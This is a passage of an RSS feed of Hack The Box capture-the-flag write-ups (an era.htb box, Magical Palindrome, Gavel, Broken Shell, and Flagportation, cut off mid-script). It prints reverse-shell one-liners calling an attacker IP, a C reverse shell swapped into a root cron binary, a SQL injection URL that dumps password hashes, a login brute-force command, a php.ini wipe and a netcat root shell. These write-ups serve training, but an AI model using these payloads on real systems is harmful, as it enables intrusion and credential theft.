&lt;p&gt;Now that it&apos;s updated I logged in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ef1b1ff5de74fb4f8e2933eb872c9012.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/341bc61d06462b5803926ee31ad9fa76.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;21/TCP - FTP&lt;/h2&gt;
&lt;p&gt;Nothing here could initially be done so I resprayed the passwords against &lt;code&gt;ftp&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bfa6337ff7050a5a69e6762c6b1716d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using these creds I logged in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/afc44ca041de3571b3900367b3a16bad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the &lt;code&gt;php8.1_conf&lt;/code&gt; I noticed the &lt;code&gt;ssh2&lt;/code&gt; extension:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bbc8f716979ff84fdf0940e386a626c4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!note]
Since &lt;code&gt;ssh&lt;/code&gt; isn&apos;t exposed to the external network we might be able to leverage this extension to log in via the website.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Shell as eric&lt;/h2&gt;
&lt;p&gt;I checked out &lt;a href=&quot;https://www.php.net/manual/en/wrappers.ssh2.php&quot;&gt;the docs&lt;/a&gt; where I found my answer:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd583cbeeac12a3a1d613069f26dc110.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then put it all together and created the following payload, where I made sure to &lt;code&gt;base64&lt;/code&gt; encode the actual reverse shell payload (since the normal way or URL encoding didn&apos;t work).&lt;/p&gt;
&lt;p&gt;For this I&apos;ll &lt;code&gt;base64&lt;/code&gt; encode the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(bash &amp;gt;&amp;amp; /dev/tcp/10.10.14.5/80  0&amp;gt;&amp;amp;1) &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/378a1db1dfb475f0923b298c8ce0b043.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And insert it into the following payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://file.era.htb/download.php?id=54&amp;amp;show=true&amp;amp;format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27printf%20&amp;lt;INSERT_BASE64_PAYLOAD_HERE&amp;gt;|base64%20-d|bash%27;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a9d3ff47b43560c063e9c8c5daa209d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a05aba0f88f58ba77f2f2b844eb37e5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;the user flag is up for grabs:&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6e3b61c7475c94e5724fa4c3693679a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I noticed that &lt;em&gt;eric&lt;/em&gt; is part of the &lt;code&gt;devs&lt;/code&gt; group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7c41c3bc98123b708b8fa9323447b7be.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;During further enum I found a folder that I had access to with said group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c93f56307ce54f8035c21444f711c14b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside was a script called &lt;code&gt;monitor&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3d9a47ebc4e712cdcb62b17d4d36bc37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I suspected that this was some sort of cron job so checked it out using &lt;code&gt;pspy64&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bf14e6c5988f272625e6e5eb88fbc439.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After a very short while the following process popped up:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a590fa5fd08ed7359032d4327fa43328.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!note]
By replacing the original executable with my own payload while preserving its location and permissions, I could place my code to run the next time the scheduled job triggered.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Reverse Shell as root&lt;/h2&gt;
&lt;p&gt;In order to exploit the process we can create a reverse shell payload first:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;
int main() {
    system(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.5/443 0&amp;gt;&amp;amp;1&apos;&quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d84c6d282898438f71a1a92d87358245.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then using the following commands we compile and overwrite the &lt;code&gt;monitor&lt;/code&gt; binary with our &lt;code&gt;shell&lt;/code&gt; reverse shell. This should execute a periodic reverse shell to our listener.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc shell.c -o shell
objcopy --dump-section .text_sig=text_sig /opt/AV/periodic-checks/monitor
objcopy --add-section .text_sig=text_sig shell 
cp shell monitor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/73ba334f99cba04f8f082b0102bfb3ac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then after a short wait I receive the shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a15a91d14f2f7133812b315527e2bd81.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5c87f01e90ced0fe0bb3a155932dda41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f024a9bbb23453051706115f3a49473.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Magical Palindrome</title><link>https://maxk9999.vercel.app/posts/magical-palindrome</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/magical-palindrome</guid><description>In Dumbledore&apos;s absence, Harry&apos;s memory fades, leaving crucial words lost. Delve into the arcane world, harness the power of JSON, and unveil the hidden spell to restore his recollection. Can you help harry yo find path to salvation?</description><pubDate>Sat, 29 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
94.237.63.176:33769
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Source Code Review&lt;/h1&gt;
&lt;p&gt;I started off by downloading and extracting the pack:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a93a9b925a8f72de44f3ce7b587edb4e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside I found the following contents:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7d76d7f3022832265c39a152b2dd34bd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to view the source code I booted up &lt;code&gt;vscode&lt;/code&gt; (this is not necessary but syntax highlighting is always a nice to have):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6b21ec57eaac8cba91177a79b6942803.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8691b0f82851efb057326543f0b561da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The site itself just looked as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3e7f7168a3c8a65d78bf77365ee04ae8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the &lt;code&gt;index.mjs&lt;/code&gt; we see where the magic happens:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1a4fd54567a5ba6b901d26d2bb2e5b5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Checking the source code we can conclude the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The server never verifies that &lt;code&gt;palindrome&lt;/code&gt; is actually a string, so an attacker can provide an object with a forged &lt;code&gt;.length&lt;/code&gt; property.&lt;/li&gt;
&lt;li&gt;JavaScript’s numeric coercion makes &lt;code&gt;&quot;1000&quot;&lt;/code&gt; behave like the number 1000, allowing the length check to pass.&lt;/li&gt;
&lt;li&gt;The palindrome loop then only inspects keys &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;999&lt;/code&gt;, so supplying matching values for those two keys makes the validator incorrectly accept the object as a valid palindrome.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;p&gt;Since the string length has to be over &lt;code&gt;1000&lt;/code&gt; I tried the following first:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a47e5d5f4fe4ec1cc0b412090d36193f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This gave me the above response.&lt;/p&gt;
&lt;p&gt;I could bypass it using the following JSON string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;palindrome&quot;:{&quot;length&quot;:&quot;1000&quot;,&quot;0&quot;:&quot;a&quot;,&quot;999&quot;:&quot;a&quot;}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2385167b1e9792fe86fabed29a3413b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c23fd3bae62c549359992a1842e402af.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Gavel</title><link>https://maxk9999.vercel.app/posts/gavel</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/gavel</guid><pubDate>Mon, 01 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &apos;~/components/PasswordProtect.client&apos;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.97
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- --min-rate=5000 -Pn gavel.htb -T5 -vvvv

PORT      STATE    SERVICE        REASON      VERSION
22/tcp    open     ssh            syn-ack     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http           syn-ack     Apache httpd 2.4.52
|_http-favicon: Unknown favicon MD5: 954223287BC6EB88C5DD3C79083B91E1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-git: 
|   10.10.11.97:80/.git/
|     Git repository found!
|     .git/config matched patterns &apos;user&apos;
|     Repository description: Unnamed repository; edit this file &apos;description&apos; to name the...
|_    Last commit message: .. 
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Gavel Auction
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Right away I notice that a &lt;code&gt;git&lt;/code&gt; repo was found, let&apos;s enumerate it with &lt;code&gt;git-dumper&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;git-dumper&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/291aad3be8d6b66bfe991bdabaeb4771.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e434600f6e62c04e20a3e608b2135406.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to view the source code easier I launched &lt;code&gt;vscode&lt;/code&gt; and viewed it there.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7640272f44e4751b607d475a0a3bc161.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Some interesting code I found was the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bd2d4196f99fadb4b51271a3af3398f9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I would need to create a user first and check it out on the website to fully understand the inner workings, but at first glance this looks like a &lt;strong&gt;SQL Injection&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;I went over to the website and registered a new &lt;em&gt;tester&lt;/em&gt; account:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29b6804ec61cd24fd96c75f26bc65a7a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/de5724ffec62dca80fcc952f4823ed0d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once registered I logged in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a17aa59bf3adc21d19d2d71c85d64053.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started bidding on some auctions and once I had won a couple I could view them in my inventory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/43fd3bf82b996e644a522fa53c204ffa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When we change the parameters from POST to GET the URL looks as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c21584851c13e68b8399444472c9c0f2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried injecting the &lt;code&gt;sort&lt;/code&gt; parameter since that&apos;s what appeared to be injectable from our source code review.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0c3bceceeea92cbc25bd31a0de7b4c27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This way we could query all parts of the item:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f4e29a2552252a5b5c573e54d12638f2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;Blind SQLi - Intended Method&lt;/h2&gt;
&lt;p&gt;I turns out that in order to successfully inject any SQLi queries here we will have to attack &lt;em&gt;both&lt;/em&gt; params. Thus we need to change the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To this somehow:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT x FROM (SELECT CONCAT(username, 0x3a, password) AS &apos;x&apos; FROM users) y;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When we put this all together it looks as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+CONCAT(username,0x3a,password)+AS+`&apos;x`+from+users)y;--&amp;amp;sort=\?;--%00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2323e6a26c6e7815ca42b9cbd43b7804.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using the above query we&apos;re able to acquire the password hash for &lt;em&gt;auctioneer&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This hash is then easily cracked using &lt;code&gt;john&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/956254bf0e6c10a3cfaba7136a275b61.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auctioneer
midnight1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ffuf - Alternative Method&lt;/h2&gt;
&lt;p&gt;Alternatively we could just brute force the password. After having found the &lt;em&gt;auctioneer&lt;/em&gt; username inside the source code we can attempt a brute-force attack:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /usr/share/wordlists/rockyou.txt:FUZZ -u &quot;http://gavel.htb/login.php&quot; -X POST -H &quot;Content-Type: application/x-www-form-urlencoded&quot; -H &quot;Cookie: gavel_session=59o57iuco1ickd6da1tgt7q075&quot; -d &quot;username=auctioneer&amp;amp;password=FUZZ&quot; -fr &quot;Invalid username or password.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dc055abb14441c35b99c55b4cc79b1b7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Admin Panel&lt;/h2&gt;
&lt;p&gt;We can now use the found credentials to log into the admin panel using the &lt;em&gt;auctioneer&lt;/em&gt; admin user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e571160e97e24f9bc8cfbfbe66392dc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8889f454453318058ea3c373422c203b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the &lt;strong&gt;Admin Panel&lt;/strong&gt; we can edit the active bids:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/74e8b4dc02741d220bd160258c9ae92a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then went ahead and tested out the functionality here by supplying some sample text and analysed it using &lt;code&gt;caido&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0e563c74d6dab7be1d955c0402946ba3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;I then tried out the following payload inside the &lt;em&gt;rule&lt;/em&gt; form.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5f20cae0ffdd8e053e8b465ca3404a33.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once we then place a bid we get a reverse shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e58a7380713d4c1123695df948ae67cc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lateral Movement to auctioneer&lt;/h2&gt;
&lt;p&gt;Once we got a reverse shell we can easily &lt;code&gt;su&lt;/code&gt; to &lt;em&gt;auctioneer&lt;/em&gt; using the same password that we used to log into the website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd865a4f593b49399c14beb561f175d1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fa0286b5f772f83b214e21b9502cb51b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;During further enum I noticed that the user is part of a non-default group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3eb05fa6b89baf4dac6ab024e502d40c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I am not allowed to run &lt;code&gt;sudo&lt;/code&gt; though:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c2c7c1c4330ba0f7b72367f6cf63d904.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I transferred over &lt;code&gt;pspy64&lt;/code&gt; and ran it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e704b9ce723d2b40ea87b8c3c53b304c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found a process running under &lt;em&gt;root&lt;/em&gt; which was using the &lt;code&gt;auction_watcher.sh&lt;/code&gt; script.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;gavel-util&lt;/h2&gt;
&lt;p&gt;I started checking for other files and found this binary related to &lt;code&gt;gavel&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b0a753b1fa08e37069b530c9d43a231f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I ran the binary and found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c04b3ae0c30b81a317954dcc7d4b62d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This binary is owned and run as &lt;em&gt;root&lt;/em&gt; so we could try and abuse it. I tried the following &lt;code&gt;yaml&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name: x
description: x
image: x
price: 1
rule_msg: x
rule: &quot;system(&apos;id&apos;); return false;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/645c42587b3f8a58245f8d1b7e6f75f7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using the &lt;code&gt;system()&lt;/code&gt; command was seen as &quot;illegal&quot;.&lt;/p&gt;
&lt;p&gt;I could find that all the &lt;code&gt;php&lt;/code&gt; shell commands were blacklisted in the &lt;code&gt;/opt/gavel/.config/php/php.ini&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/17333f6e465f68c9bdb060623cf89e34.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This meant I&apos;d need to use &lt;code&gt;gavel-util&lt;/code&gt; to write a malicious rule as follows and execute it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name: &quot;Test&quot;
description: &quot;Testing test&quot;
image: &quot;https://sample.website&quot;
price: 10000
rule_msg: &quot;Your bid must be 20% higher than the previous bid&quot;
rule: &quot;file_put_contents(&apos;/opt/gavel/.config/php/php.ini&apos;, &apos;&apos;); return false;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e3511e6bb979bd024a83e71a20002146.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that the file was overwritten I verified whether it executed correctly:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bcb510d150fb4fc6a53a3794dd867907.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Empty, good! Now it was time to give myself a &lt;em&gt;root&lt;/em&gt; reverse shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name: &quot;Test&quot;
description: &quot;Testing test&quot;
image: &quot;https://sample.website&quot;
price: 10000
rule_msg: &quot;Your bid must be 20% higher than the previous bid&quot;
rule: &quot;return system(&apos;busybox nc 10.10.14.14 80 -e bash&apos;);&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/890dc5cba3b1908602a9c7eabcb4a60c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5204f4cfdf4dc678720a591909511870.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bcfd2a23b19b6f323db484ba3f934328.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Broken Shell</title><link>https://maxk9999.vercel.app/posts/broken-shell</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/broken-shell</guid><pubDate>Tue, 02 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
94.237.49.88:39366
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I was able to easily connect to the service using &lt;code&gt;nc -vn&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e523e353afd1df681ed8c0bac9ffeedb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I noticed that the following characters were whitelisted, and that they did not contain any &lt;em&gt;letters&lt;/em&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] Allowed characters: ^[0-9${}/?&quot;[:space:]:&amp;amp;&amp;gt;_=()]+$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This meant I&apos;d need to think outside of the box with my enumeration, for example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Regular commands such as &lt;code&gt;ls -la&lt;/code&gt; will not work.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f20b5c2f225b6299c639759b49eb549c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since I want to enumerate the current working directory I can use &lt;a href=&quot;https://jrb.nz/posts/bash-tricks/&quot;&gt;this blog post&lt;/a&gt; to find useful &lt;code&gt;bash&lt;/code&gt; commands that don&apos;t involve letters.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/89d80676a47e373000a90c58165c3175.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried the above but found the following error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d803ca7ac6ecd7ae1a5312154210e99f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If we try to execute the above command, the shell expands it to &lt;em&gt;every&lt;/em&gt; matching file (like &lt;code&gt;/bin/cp&lt;/code&gt;, &lt;code&gt;/bin/ls&lt;/code&gt;, &lt;code&gt;/bin/rm&lt;/code&gt;) and tries to run the first one with the others as arguments. After some testing I found that the &lt;code&gt;/bin/ls&lt;/code&gt; binary was in &lt;strong&gt;7th&lt;/strong&gt; which meant I could use the following command to execute it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_(){ $7&amp;amp; } &amp;amp;&amp;amp; _ /???/??
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ff53e77d2f4661aef55468215cfac100.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly I found that the &lt;code&gt;/bin/cat&lt;/code&gt; command was &lt;strong&gt;3rd&lt;/strong&gt;, meaning I could execute it along with the &lt;code&gt;?&lt;/code&gt; wildcard operator for the duration of the flag file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_(){ $3 ???????????????????&amp;amp; } &amp;amp;&amp;amp; _ /???/???
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e5c561a6268ef43cebcc1db85ee2d39a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7cf29cbdac8b1929043114f9ea4b8979.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Flagportation</title><link>https://maxk9999.vercel.app/posts/flagportation</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/flagportation</guid><pubDate>Fri, 05 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
83.136.251.105:45901
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I connected initially via &lt;code&gt;nc&lt;/code&gt; to see the standard output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3825337c466b4c3f3eb7923a5d49f467.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Reviewing the source code I saw the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1971218c5f941d0af83868108d86992.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I solved the challenge by directly reversing the teleportation logic implemented in the service. Each qubit encodes two bits using a fixed mapping, and the protocol leaks the correction information through the first two Z-basis measurements.&lt;/p&gt;
&lt;p&gt;Once I understood how the CNOT and Hadamard operations transform the state, it became clear that the values of &lt;code&gt;m0&lt;/code&gt; and &lt;code&gt;m1&lt;/code&gt; uniquely determine the Pauli correction the server expects the client to apply before the final measurement. By replaying the exact inverse corrections (Z or X on qubit 2), choosing the same basis the state was originally prepared in, and reading the resulting measurement, I can reconstruct each transmitted bit-pair deterministically. For this I used the following &lt;code&gt;script.py&lt;/code&gt; script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

HOST, PORT = &quot;83.136.251.105&quot;, 45901
r = remote(HOST, PORT)
bits = []

try:
    while True:
        r.recvuntil(b&quot;Basis : &quot;)
        basis = r.recvline().strip().decode()

        m0 = int(r.recvline().split()[-1])
        m1 = int(r.recvline().split()[-1])

        # (m0,m1) → instruction map
        instr = {
            (0,0): &quot;Z:2;Z:2&quot;,
